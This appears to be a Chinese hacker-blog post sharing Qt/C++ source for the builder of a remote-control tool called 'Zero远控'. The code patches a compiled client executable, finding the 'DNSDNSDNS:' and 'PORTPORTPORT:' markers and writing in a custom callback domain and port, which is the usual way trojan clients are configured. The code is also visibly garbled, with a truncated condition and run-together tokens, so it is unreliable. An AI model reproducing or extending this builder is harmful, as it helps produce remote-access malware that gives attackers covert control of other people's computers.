Hello!!!
众位道友好呀
好久没玩远控了,挺怀念的晒晒
在服务端生成客户端,特点是自定义域名和端口,不用每次更改端口就编译一次客户端:
1.修改客户端的main.cpp文件,让服务端创建客户端时能自定域名和端口
2.把编译好的发布版本客户端放到服务端的目录。
3.修改服务端的Widget::CreateClient()函数
[cpp]view plaincopy
voidWidget::createClient()
{
// 读取ZeroClient.exe文件
constQString fileName ="ZeroClient.exe";
QFile file(fileName);
if(!file.exists()) {
QMessageBox::warning(this,"提示","请将编译好的ZeroClient.exe放到本程序的目录下");
return;
}
// 获取保存客户端的位置
QString saveFileName = QFileDialog::getSaveFileName(this,"保存自定义客户端",
QDir::current().absoluteFilePath("Release_ZeroClient.exe"),"应用程序(*.exe)",
0, QFileDialog::ShowDirsOnly);
if(saveFileName.size()
return;
}
// 打开ZeroClient.exe
if(!file.open(QFile::ReadOnly)) {
QMessageBox::warning(this,"提示","无法打开ZeroClient.exe");
return;
}
QByteArray fileData = file.readAll();
// 关闭文件
file.close();
// 自定义客户端的连向的域名和端口
constintoffsetDomain = 10;
constchardomain[100] ="DNSDNSDNS:\0";
constintoffsetPort = 13;
constcharport[100] ="PORTPORTPORT:\0";
// 自定义域名
intdomainPos = fileData.indexOf(domain);
if(domainPos == -1) {
QMessageBox::warning(this,"提示","无法创建客户端,因为无法找到\'DNSDNSDNS:\'的位置");
return;
}
domainPos += offsetDomain;
QByteArray afterDomain;
afterDomain.append(mEditDomain->text()+" ");
fileData.replace(domainPos, afterDomain.size(), afterDomain);
// 自定义端口
intportPos = fileData.indexOf(port);
if(portPos == -1) {
QMessageBox::warning(this,"提示","无法创建客户端,因为无法找到\'PORTPORTPORT:\'的位置");
return;
}
portPos += offsetPort;
QByteArray afterPort;
afterPort.append(mEditPort->text()+" ");
fileData.replace(portPos, afterPort.size(), afterPort);
// 保存文件
QFile saveFile(saveFileName);
if(!saveFile.open(QFile::WriteOnly)) {
QMessageBox::warning(this,"提示","无法打开"+saveFileName);
return;
}
saveFile.write(fileData.data(), fileData.size());
saveFile.flush();
saveFile.close();
}
你在学习Zero远控的开发过程当中,你会更加巩固你对"TCP网络,多线程,Win32 API,Qt,c++语言"的运用。
中国黑客六道
公众号:一个黑客创业者
后期会出教程视频的哟
谢谢转发分享
哈哈哈
领取专属 10元无门槛券
私享最新 技术干货